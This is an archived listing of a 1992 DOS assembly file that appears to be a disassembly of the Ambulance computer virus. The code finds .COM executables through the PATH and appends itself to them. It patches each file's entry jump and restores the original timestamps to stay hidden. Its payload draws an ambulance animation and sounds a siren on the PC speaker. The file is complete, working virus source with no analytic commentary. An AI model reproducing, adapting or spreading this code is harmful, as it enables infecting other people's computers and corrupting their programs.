home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-A.ZIP / AMBULANC.ASM < prev    next >
Assembly Source File  |  1992-09-30  |  11KB  |  480 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    AMBULANC                     ██
  7. ;██                                         ██
  8. ;██      Created:   13-Feb-92                             ██
  9. ;██      Passes:    5           Analysis Options on: none             ██
  10. ;██                                         ██
  11. ;██████████████████████████████████████████████████████████████████████████
  12.  
  13. data_1e        equ    0Ch
  14. data_2e        equ    49h
  15. data_3e        equ    6Ch
  16. psp_envirn_seg    equ    2Ch
  17. data_20e    equ    0C80h
  18.  
  19. seg_a        segment    byte public
  20.         assume    cs:seg_a, ds:seg_a
  21.  
  22.  
  23.         org    100h
  24.  
  25. ambulanc    proc    far
  26.  
  27. start:
  28.         jmp    loc_1
  29.         db    0
  30. data_7        dw    0            ; Data table (indexed access)
  31.         db    44 dup (0)
  32. loc_1:
  33. ;*        call    sub_1            ;*
  34.         db    0E8h, 01h, 00h
  35.         add    [bp-7Fh],bx
  36.         out    dx,al            ; port 0, DMA-1 bas&add ch 0
  37.         add    ax,[bx+di]
  38.         call    sub_2
  39.         call    sub_2
  40.         call    sub_4
  41.         lea    bx,[si+419h]        ; Load effective addr
  42.         mov    di,100h
  43.         mov    al,[bx]
  44.         mov    [di],al
  45.         mov    ax,[bx+1]
  46.         mov    [di+1],ax
  47.         jmp    di            ;*Register jump
  48.  
  49. loc_ret_2:
  50.         retn
  51.  
  52. ambulanc    endp
  53.  
  54. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  55. ;                   SUBROUTINE
  56. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  57.  
  58. sub_2        proc    near
  59.         call    sub_3
  60.         mov    al,byte ptr data_19[si]
  61.         or    al,al            ; Zero ?
  62.         jz    loc_ret_2        ; Jump if zero
  63.         lea    bx,[si+40Fh]        ; Load effective addr
  64.         inc    word ptr [bx]
  65.         lea    dx,[si+428h]        ; Load effective addr
  66.         mov    ax,3D02h
  67.         int    21h            ; DOS Services  ah=function 3Dh
  68.                         ;  open file, al=mode,name@ds:dx
  69.         mov    data_12[si],ax
  70.         mov    bx,data_12[si]
  71.         mov    cx,3
  72.         lea    dx,[si+414h]        ; Load effective addr
  73.         mov    ah,3Fh            ; '?'
  74.         int    21h            ; DOS Services  ah=function 3Fh
  75.                         ;  read file, bx=file handle
  76.                         ;   cx=bytes to ds:dx buffer
  77.         mov    al,data_10[si]
  78.         cmp    al,0E9h
  79.         jne    loc_3            ; Jump if not equal
  80.         mov    dx,data_11[si]
  81.         mov    bx,data_12[si]
  82.         add    dx,3
  83.         xor    cx,cx            ; Zero register
  84.         mov    ax,4200h
  85.         int    21h            ; DOS Services  ah=function 42h
  86.                         ;  move file ptr, bx=file handle
  87.                         ;   al=method, cx,dx=offset
  88.         mov    bx,data_12[si]
  89.         mov    cx,6
  90.         lea    dx,[si+41Ch]        ; Load effective addr
  91.         mov    ah,3Fh            ; '?'
  92.         int    21h            ; DOS Services  ah=function 3Fh
  93.                         ;  read file, bx=file handle
  94.                         ;   cx=bytes to ds:dx buffer
  95.         mov    ax,data_13[si]
  96.         mov    bx,data_14[si]
  97.         mov    cx,data_15[si]
  98.         cmp    ax,word ptr ds:[100h][si]
  99.         jne    loc_3            ; Jump if not equal
  100.         cmp    bx,word ptr ds:[102h][si]
  101.         jne    loc_3            ; Jump if not equal
  102.         cmp    cx,data_7[si]
  103.         je    loc_4            ; Jump if equal
  104. loc_3:
  105.         mov    bx,data_12[si]
  106.         xor    cx,cx            ; Zero register
  107.         xor    dx,dx            ; Zero register
  108.         mov    ax,4202h
  109.         int    21h            ; DOS Services  ah=function 42h
  110.                         ;  move file ptr, bx=file handle
  111.                         ;   al=method, cx,dx=offset
  112.         sub    ax,3
  113.         mov    data_9[si],ax
  114.         mov    bx,data_12[si]
  115.         mov    ax,5700h
  116.         int    21h            ; DOS Services  ah=function 57h
  117.                         ;  get file date+time, bx=handle
  118.                         ;   returns cx=time, dx=time
  119.         push    cx
  120.         push    dx
  121.         mov    bx,data_12[si]
  122.         mov    cx,319h
  123.         lea    dx,[si+100h]        ; Load effective addr
  124.         mov    ah,40h            ; '@'
  125.         int    21h            ; DOS Services  ah=function 40h
  126.                         ;  write file  bx=file handle
  127.                         ;   cx=bytes from ds:dx buffer
  128.         mov    bx,data_12[si]
  129.         mov    cx,3
  130.         lea    dx,[si+414h]        ; Load effective addr
  131.         mov    ah,40h            ; '@'
  132.         int    21h            ; DOS Services  ah=function 40h
  133.                         ;  write file  bx=file handle
  134.                         ;   cx=bytes from ds:dx buffer
  135.         mov    bx,data_12[si]
  136.         xor    cx,cx            ; Zero register
  137.         xor    dx,dx            ; Zero register
  138.         mov    ax,4200h
  139.         int    21h            ; DOS Services  ah=function 42h
  140.                         ;  move file ptr, bx=file handle
  141.                         ;   al=method, cx,dx=offset
  142.         mov    bx,data_12[si]
  143.         mov    cx,3
  144.         lea    dx,[si+411h]        ; Load effective addr
  145.         mov    ah,40h            ; '@'
  146.         int    21h            ; DOS Services  ah=function 40h
  147.                         ;  write file  bx=file handle
  148.                         ;   cx=bytes from ds:dx buffer
  149.         pop    dx
  150.         pop    cx
  151.         mov    bx,data_12[si]
  152.         mov    ax,5701h
  153.         int    21h            ; DOS Services  ah=function 57h
  154.                         ;  set file date+time, bx=handle
  155.                         ;   cx=time, dx=time
  156. loc_4:
  157.         mov    bx,data_12[si]
  158.         mov    ah,3Eh            ; '>'
  159.         int    21h            ; DOS Services  ah=function 3Eh
  160.                         ;  close file, bx=file handle
  161.         retn
  162. sub_2        endp
  163.  
  164.  
  165. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  166. ;                   SUBROUTINE
  167. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  168.  
  169. sub_3        proc    near
  170.         mov    ax,ds:psp_envirn_seg
  171.         mov    es,ax
  172.         push    ds
  173.         mov    ax,40h
  174.         mov    ds,ax
  175.         mov    bp,ds:data_3e
  176.         pop    ds
  177.         test    bp,3
  178.         jz    loc_7            ; Jump if zero
  179.         xor    bx,bx            ; Zero register
  180. loc_5:
  181.         mov    ax,es:[bx]
  182.         cmp    ax,4150h
  183.         jne    loc_6            ; Jump if not equal
  184.         cmp    word ptr es:[bx+2],4854h
  185.         je    loc_8            ; Jump if equal
  186. loc_6:
  187.         inc    bx
  188.         or    ax,ax            ; Zero ?
  189.         jnz    loc_5            ; Jump if not zero
  190. loc_7:
  191.         lea    di,[si+428h]        ; Load effective addr
  192.         jmp    short loc_13
  193. loc_8:
  194.         add    bx,5
  195. loc_9:
  196.         lea    di,[si+428h]        ; Load effective addr
  197. loc_10:
  198.         mov    al,es:[bx]
  199.         inc    bx
  200.         or    al,al            ; Zero ?
  201.         jz    loc_12            ; Jump if zero
  202.         cmp    al,3Bh            ; ';'
  203.         je    loc_11            ; Jump if equal
  204.         mov    [di],al
  205.         inc    di
  206.         jmp    short loc_10
  207. loc_11:
  208.         cmp    byte ptr es:[bx],0
  209.         je    loc_12            ; Jump if equal
  210.         shr    bp,1            ; Shift w/zeros fill
  211.         shr    bp,1            ; Shift w/zeros fill
  212.         test    bp,3
  213.         jnz    loc_9            ; Jump if not zero
  214. loc_12:
  215.         cmp    byte ptr [di-1],5Ch    ; '\'
  216.         je    loc_13            ; Jump if equal
  217.         mov    byte ptr [di],5Ch    ; '\'
  218.         inc    di
  219. loc_13:
  220.         push    ds
  221.         pop    es
  222.         mov    data_16[si],di
  223.         mov    ax,2E2Ah
  224.         stosw                ; Store ax to es:[di]
  225.         mov    ax,4F43h
  226.         stosw                ; Store ax to es:[di]
  227.         mov    ax,4Dh
  228.         stosw                ; Store ax to es:[di]
  229.         push    es
  230.         mov    ah,2Fh            ; '/'
  231.         int    21h            ; DOS Services  ah=function 2Fh
  232.                         ;  get DTA ptr into es:bx
  233.         mov    ax,es
  234.         mov    data_17[si],ax
  235.         mov    data_18[si],bx
  236.         pop    es
  237.         lea    dx,[si+478h]        ; Load effective addr
  238.         mov    ah,1Ah
  239.         int    21h            ; DOS Services  ah=function 1Ah
  240.                         ;  set DTA(disk xfer area) ds:dx
  241.         lea    dx,[si+428h]        ; Load effective addr
  242.         xor    cx,cx            ; Zero register
  243.         mov    ah,4Eh            ; 'N'
  244.         int    21h            ; DOS Services  ah=function 4Eh
  245.                         ;  find 1st filenam match @ds:dx
  246.         jnc    loc_14            ; Jump if carry=0
  247.         xor    ax,ax            ; Zero register
  248.         mov    data_19[si],ax
  249.         jmp    short loc_17
  250. loc_14:
  251.         push    ds
  252.         mov    ax,40h
  253.         mov    ds,ax
  254.         ror    bp,1            ; Rotate
  255.         xor    bp,ds:data_3e
  256.         pop    ds
  257.         test    bp,7
  258.         jz    loc_15            ; Jump if zero
  259.         mov    ah,4Fh            ; 'O'
  260.         int    21h            ; DOS Services  ah=function 4Fh
  261.                         ;  find next filename match
  262.         jnc    loc_14            ; Jump if carry=0
  263. loc_15:
  264.         mov    di,data_16[si]
  265.         lea    bx,[si+496h]        ; Load effective addr
  266. loc_16:
  267.         mov    al,[bx]
  268.         inc    bx
  269.         stosb                ; Store al to es:[di]
  270.         or    al,al            ; Zero ?
  271.         jnz    loc_16            ; Jump if not zero
  272. loc_17:
  273.         mov    bx,data_18[si]
  274.         mov    ax,data_17[si]
  275.         push    ds
  276.         mov    ds,ax
  277.         mov    ah,1Ah
  278.         int    21h            ; DOS Services  ah=function 1Ah
  279.                         ;  set DTA(disk xfer area) ds:dx
  280.         pop    ds
  281.         retn
  282. sub_3        endp
  283.  
  284.  
  285. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  286. ;                   SUBROUTINE
  287. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  288.  
  289. sub_4        proc    near
  290.         push    es
  291.         mov    ax,data_8[si]
  292.         and    ax,7
  293.         cmp    ax,6
  294.         jne    loc_18            ; Jump if not equal
  295.         mov    ax,40h
  296.         mov    es,ax
  297.         mov    ax,es:data_1e
  298.         or    ax,ax            ; Zero ?
  299.         jnz    loc_18            ; Jump if not zero
  300.         inc    word ptr es:data_1e
  301.         call    sub_5
  302. loc_18:
  303.         pop    es
  304.         retn
  305. sub_4        endp
  306.  
  307.  
  308. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  309. ;                   SUBROUTINE
  310. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  311.  
  312. sub_5        proc    near
  313.         push    ds
  314.         mov    di,0B800h
  315.         mov    ax,40h
  316.         mov    ds,ax
  317.         mov    al,ds:data_2e
  318.         cmp    al,7
  319.         jne    loc_19            ; Jump if not equal
  320.         mov    di,0B000h
  321. loc_19:
  322.         mov    es,di
  323.         pop    ds
  324.         mov    bp,0FFF0h
  325. loc_20:
  326.         mov    dx,0
  327.         mov    cx,10h
  328.  
  329. locloop_21:
  330.         call    sub_8
  331.         inc    dx
  332.         loop    locloop_21        ; Loop if cx > 0
  333.  
  334.         call    sub_7
  335.         call    sub_9
  336.         inc    bp
  337.         cmp    bp,50h
  338.         jne    loc_20            ; Jump if not equal
  339.         call    sub_6
  340.         push    ds
  341.         pop    es
  342.         retn
  343. sub_5        endp
  344.  
  345.  
  346. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  347. ;                   SUBROUTINE
  348. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  349.  
  350. sub_6        proc    near
  351.         in    al,61h            ; port 61h, 8255 port B, read
  352.         and    al,0FCh
  353.         out    61h,al            ; port 61h, 8255 B - spkr, etc
  354.                         ;  al = 0, disable parity
  355.         retn
  356. sub_6        endp
  357.  
  358.  
  359. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  360. ;                   SUBROUTINE
  361. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  362.  
  363. sub_7        proc    near
  364.         mov    dx,7D0h
  365.         test    bp,4
  366.         jz    loc_22            ; Jump if zero
  367.         mov    dx,0BB8h
  368. loc_22:
  369.         in    al,61h            ; port 61h, 8255 port B, read
  370.         test    al,3
  371.         jnz    loc_23            ; Jump if not zero
  372.         or    al,3
  373.         out    61h,al            ; port 61h, 8255 B - spkr, etc
  374.         mov    al,0B6h
  375.         out    43h,al            ; port 43h, 8253 wrt timr mode
  376. loc_23:
  377.         mov    ax,dx
  378.         out    42h,al            ; port 42h, 8253 timer 2 spkr
  379.         mov    al,ah
  380.         out    42h,al            ; port 42h, 8253 timer 2 spkr
  381.         retn
  382. sub_7        endp
  383.  
  384.  
  385. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  386. ;                   SUBROUTINE
  387. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  388.  
  389. sub_8        proc    near
  390.         push    cx
  391.         push    dx
  392.         lea    bx,[si+3BFh]        ; Load effective addr
  393.         add    bx,dx
  394.         add    dx,bp
  395.         or    dx,dx            ; Zero ?
  396.         js    loc_26            ; Jump if sign=1
  397.         cmp    dx,50h
  398.         jae    loc_26            ; Jump if above or =
  399.         mov    di,data_20e
  400.         add    di,dx
  401.         add    di,dx
  402.         sub    dx,bp
  403.         mov    cx,5
  404.  
  405. locloop_24:
  406.         mov    ah,7
  407.         mov    al,[bx]
  408.         sub    al,7
  409.         add    al,cl
  410.         sub    al,dl
  411.         cmp    cx,5
  412.         jne    loc_25            ; Jump if not equal
  413.         mov    ah,0Fh
  414.         test    bp,3
  415.         jz    loc_25            ; Jump if zero
  416.         mov    al,20h            ; ' '
  417. loc_25:
  418.         stosw                ; Store ax to es:[di]
  419.         add    bx,10h
  420.         add    di,9Eh
  421.         loop    locloop_24        ; Loop if cx > 0
  422.  
  423. loc_26:
  424.         pop    dx
  425.         pop    cx
  426.         retn
  427. sub_8        endp
  428.  
  429.  
  430. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  431. ;                   SUBROUTINE
  432. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  433.  
  434. sub_9        proc    near
  435.         push    ds
  436.         mov    ax,40h
  437.         mov    ds,ax
  438.         mov    ax,ds:data_3e
  439. loc_28:
  440.         cmp    ax,ds:data_3e
  441.         je    loc_28            ; Jump if equal
  442.         pop    ds
  443.         retn
  444. sub_9        endp
  445.  
  446.         and    ah,[bp+di]
  447.         and    al,25h            ; '%'
  448.         db     26h, 27h, 28h, 29h, 66h, 87h
  449.         db     3Bh, 2Dh, 2Eh, 2Fh, 30h, 31h
  450.         db     23h,0E0h,0E1h,0E2h,0E3h,0E4h
  451.         db    0E5h,0E6h,0E7h,0E7h,0E9h,0EAh
  452.         db    0EBh
  453.         db    30h
  454. data_8        dw    3231h            ; Data table (indexed access)
  455.         db    24h
  456. data_9        dw    0E1E0h            ; Data table (indexed access)
  457. data_10        db    0E2h            ; Data table (indexed access)
  458. data_11        dw    0E8E3h            ; Data table (indexed access)
  459. data_12        dw    0EA2Ah            ; Data table (indexed access)
  460.         db    0E7h,0E8h,0E9h
  461. data_13        dw    302Fh            ; Data table (indexed access)
  462. data_14        dw    326Dh            ; Data table (indexed access)
  463. data_15        dw    2533h            ; Data table (indexed access)
  464. data_16        dw    0E2E1h            ; Data table (indexed access)
  465. data_17        dw    0E4E3h            ; Data table (indexed access)
  466. data_18        dw    0E7E5h            ; Data table (indexed access)
  467. data_19        dw    0E8E7h            ; Data table (indexed access)
  468.         db    0E9h,0EAh,0EBh,0ECh,0EDh,0EEh
  469.         db    0EFh, 26h,0E6h,0E7h, 29h, 59h
  470.         db     5Ah, 2Ch,0ECh,0EDh,0EEh,0EFh
  471.         db    0F0h, 32h, 62h, 34h,0F4h, 0Ah
  472.         db     00h,0E9h, 2Fh, 00h,0CDh, 20h
  473.         db     00h, 05h, 00h,0CDh, 20h, 00h
  474.  
  475. seg_a        ends
  476.  
  477.  
  478.  
  479.         end    start
  480.